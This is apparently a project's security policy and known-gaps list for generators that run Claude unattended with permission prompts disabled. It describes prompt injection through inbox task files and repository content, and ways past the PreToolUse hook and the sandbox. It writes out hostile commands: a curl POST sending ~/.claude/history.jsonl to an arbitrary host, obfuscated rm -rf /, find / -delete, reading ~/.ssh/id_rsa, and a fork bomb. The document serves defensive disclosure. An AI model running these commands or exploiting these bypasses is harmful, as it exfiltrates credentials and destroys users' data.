Supported is the latest release and the current state of main. The version lives in VERSION; the release workflow refuses to publish when a tag and that file disagree, and scripts/build_release.py builds the two .skill assets the install commands in README.md point at.
The skills generate a setup package, and once generated that package is a detached copy on the user's machine. A fix committed here does not reach an existing nightshift-setup/ or 24x7-setup/. Regenerate the setup after an update.
Private Vulnerability Reporting is enabled. Use this form:
https://github.com/GodModeAI2025/NightShift/security/advisories/new
Do not open a public issue for a vulnerability. The generated setups run claude -p --dangerously-skip-permissions unattended on other people's machines, so a public report is a working recipe before there is a fix.
Expected timing: acknowledgement within a few days, an assessment with a decision (fix, mitigation, or "won't fix, documented") within two weeks. This is a private project of one person, not a company with an on-call rotation. If something is time-critical for you, say so in the report.
Useful in a report: which generator (nightshift/scripts/build_zip.py or 24x7/scripts/build_zip.py), which generated file, the exact command, and what happened instead of the expected block. Everything under Known Gaps is already known; report it only if you can show a consequence that is not described there.
At stake: the machine that runs the setup, and everything the starting user account can reach. All of it is touched unattended, with permission prompts disabled, usually overnight.
The model itself, no attacker required. nightshift-run.sh and runner.sh start Claude with --dangerously-skip-permissions. A hallucinated command executes. The runbook, the autonomy zones and the error budget are prompt text, not policy.
Prompt injection through task content (24x7). RUNNER_SH in 24x7/scripts/build_zip.py reads inbox/<task>/task.md with cat and pastes it verbatim into the prompt, along with whatever sits in materials/. Whoever can write into the inbox writes into the prompt of a run that has no approval step. A shared or synced workspace directory turns this into a remote path.
Prompt injection through repository content (Nightshift). The run reads source files, docs and dependency files inside the project. Injected instructions in that content land in the same unsupervised loop.
Data exfiltration. The Nightshift seatbelt profile (SANDBOX_SB) allows file-read* broadly, denies /Users and /home, and then re-grants $HOME/.claude and $HOME/.config, together with (allow network-outbound (remote tcp "*:443")) and no destination restriction. ~/.claude holds history.jsonl and the full transcripts under projects/; ~/.config commonly holds CLI tokens, gh/hosts.yml among them. curl -X POST https://<host> -d @$HOME/.claude/history.jsonl passes the PreToolUse hook with exit code 0.
The install path. The documented install pulls a .skill archive over curl -L and unzips it into ~/.claude/skills/. The archive contains Python that is then executed locally, with no signature and no checksum on the way in.
Trusted by design: the person who generates the setup and starts the runner, the claude binary, and the project or workspace directory as a write target. Treated as trusted today although it should not be: the text in inbox/*/task.md, everything under materials/, file content read during the run, and the model's own choice of commands.
sandbox-execis the only enforced boundary, and it only covers writes. README.md line 370 calls it "the real security boundary" and index.html line 1206 repeats that. It restricts neither reads outside the project nor network egress. With outbound 443 open to any host and read access to~/.claudeand~/.config, anything readable can leave the machine.- It is off unless you switch it on, and Nightshift now notices.
sandbox-exec -f nightshift-sandbox.sb ./nightshift-run.shremains an optional line, butnightshift-run.shmeasures whether it is fenced and aborts with exit code 3 when it is not. The measurement is a probe, not a declaration: under the profile the runner can list the project but not/Users.NIGHTSHIFT_SANDBOXEDno longer unlocks anything — a value that contradicts the measurement ends the run.NIGHTSHIFT_ALLOW_UNSANDBOXED=1is the deliberate way out, and the receipt then sayskeine. The 24x7 runner does the same since the container was pulled over to it, withCLAUDE_24X7_ALLOW_UNSANDBOXED=1as its way out. - The profile used to abort every program it fenced. Measured on Darwin 27:
sandbox-exec -f nightshift-sandbox.sb /bin/echo hiended with SIGABRT, because deny-by-default reads exclude the dyld cache on current macOS. Anyone who followed the documented macOS line got no run at all, not a sandboxed one. The profile now keeps the write fence and the home-directory fence and gives up the read fence, which it never delivered in practice. - Apple has deprecated
sandbox-exec. Its man page on macOS 27 says DEPRECATED in the first line. The single enforced boundary on macOS rests on a tool Apple has marked as going away. - The PreToolUse hook is two barriers, and only one of them measures a path.
"matcher": "Bash"greps the command string, and that half stays a typo catcher: these pass with exit 0:R=rm; $R -rf /,find / -delete,git push --force origin main,cat ~/.ssh/id_rsa. A second entry,"matcher": "Write|Edit|MultiEdit|NotebookEdit", resolves the target path and blocks every write outside the project directory, plus.claude/settings.jsoninside it. It resolves both sides physically, so a symlink inside the project that points out is blocked too, and so is one pointing at.claude/settings.json. What it does not see: a write performed by a Bash command (echo >,tee,cp,mv), any read, tools contributed by MCP servers, and a link created between the check and the write, because the check is not atomic. - On Linux there is no boundary at all.
sandbox-execdoes not exist there. The dedicated-user recipe in README.md lines 375 to 377 does not work as written: the copy created withsudo cp -rbelongs to root, and the generatednightshift-run.shcarries a hardcodedcd "<original project path>", so the run happens in the original directory anyway.
All of the following is open in the current main and reproduces against the files the generators write.
- Closed in v1.0.0, kept here as history: the hook used to fail open without
jq. Both hooks now check forjqfirst and end with exit 2 and a message when it is missing. Driven in CI withjqremoved fromPATH, for the command barrier and the path barrier, in both skills. - Closed in v1.0.0, kept here as history: the block pattern used to match every
rm -rf.rm -rf node_modulesandrm -rf distpass again,rm -rf /andrm -rf ~do not. A table of 30 dangerous and 20 harmless commands runs against the generated hook on every push. - Still open, now documented instead of denied: no fork-bomb pattern.
:(){ :|:& };:passes with exit 0. Both SKILL.md files say so in their Security section; the claim that the hook catches it is gone. - 24x7 installs no hooks at all along the documented path. README.md line 280 says
cp -r 24x7-setup/* /your/workspace/, and the generated README repeats the same glob with the real workspace path. The glob skips dotfiles, and the settings sit at24x7-setup/.claude/settings.json(thefilesdict in24x7/scripts/build_zip.py). Rebuilt that layout and copied it:.claudenever arrives. The daemon then runs with skipped permissions, no PreToolUse block and no PostToolUse heartbeat, while the watchdog watches a file that onlyrunner.shever truncates. - The Nightshift install step overwrites an existing hook configuration.
cp -r nightshift-setup/.claude .(README.md line 207) replaces an existing.claude/settings.json.nightshift/SKILL.mdline 164 promises the opposite, namely reading the existing file and merging the hooks instead of overwriting, and the generator has no merge logic, onlyjson.dumps(SETTINGS). The "commit your current state" step follows afterwards (README.md line 215), so git is no rescue here. - Both runners always exit 0.
cleanup()ends withexit 0and is registered viatrap cleanup SIGTERM SIGINT EXIT, inRUN_SHand inRUNNER_SH. The EXIT trap fires regardless of whatclaudereturns. A crashed run looks exactly like a finished one to any wrapper, cron job or restart policy. Forrunner.shthe effect is smaller, since its loop only ends on a signal. - The sandbox does not protect the setup itself.
.claude/settings.json,runbook.md,runner.shandnightshift-run.shsit inside the project or workspace path, andSANDBOX_SBgrantsfile-write*on exactly that path. 24x7 starts a freshclaude -pper task, so a task that edits.claude/settings.jsonsets the hooks for every task after it. For Nightshift, an edit tonightshift-run.shorrunbook.mdlands in the next run. Partly closed since the path barrier: aWriteorEditto.claude/settings.jsonends with exit code 2, inside the directory as well as outside. A Bash redirect to the same file still passes, and so does an edit torunbook.md,runner.shornightshift-run.sh. - Autonomy zones are still mostly an agreement in the prompt. The three zones sit as text in
RUNBOOK. The red zone forbids files outside the project directory, touching secrets, and force push. Of that, one part is enforced now: aWrite,Edit,MultiEditorNotebookEditoutside the project directory ends with exit 2. Everything else remains an agreement: a write that a Bash command performs, every read, and force push. What holds beyond that is the model's compliance plus the container or, on macOS, the seatbelt write restrictions. - 24x7 has a cost ceiling now, and it is an estimate.
CLAUDE_24X7_BUDGET_USDbounds the whole daemon run: the counter is handed the remaining budget before each call, so the limit holds across tasks instead of restarting at zero every time. On reaching it the running task moves tofailed/with the reason and the daemon exits 9. The idle branch counts too, which matters because idle calls Claude rather than sleeping. What this is not: a guarantee. The figure comes from a price table ingemeinsam.pydated 2026-06-24 and from the usage fields in Claude's stream output. A model that is not in the table is billed at the most expensive known row times a surcharge, which can be wrong in either direction. Withoutjqthe counter writes "unbekannt" and lets the run continue rather than killing it, so a machine withoutjqhas no ceiling. The stop acts between calls and during one, never retroactively: the request that crosses the line has already been paid for. The Anthropic dashboard remains the authority. - The watchdog reacts now, but only to a silent heartbeat.
meldenstays the default and does what the old watchdog did.beendensends TERM to the PID in the PID file and KILL after a grace period;neustartdoes that and starts the run again, at most as often as the restart budget allows. A run that ended on its own is never restarted, which is what keeps a budget stop from being undone. What is still open: the heartbeat comes from the PostToolUse hook, so a Claude stuck in a tool-call loop keeps it green and no action fires. Nightshift's Stop hook has a stall detector for that case, and it prints text into the model's context and stops nothing. In the container the heartbeat lands in the container's own tmpfs, so a watchdog on the host sees nothing at all. - Run logs are world-readable.
/tmp/nightshift-<timestamp>.logand/tmp/24x7-<date>.loghold the run's fullstream-jsonoutput. They are created under the user's umask (0644 with the common 022) in a directory that every local account can read.SANDBOX_SBallowsfile-write*on/tmp, so the sandbox does not change this. - Runbook validation is not a gate.
validate_runbook()innightshift/scripts/build_zip.pyruns 15 checks and prints the score. The ZIP is written either way ("ZIP wird trotzdem erstellt"). - Nothing checks any of this automatically. No
.github/, no tests, no release, no checksum. A change to the hook string can silently stop blocking what the docs claim it blocks.
Run this in a VM or under a throwaway account whose credentials you can revoke, on a repository you have pushed somewhere else first. Apache-2.0, as-is, no warranty; see LICENSE and the disclaimer in README.md.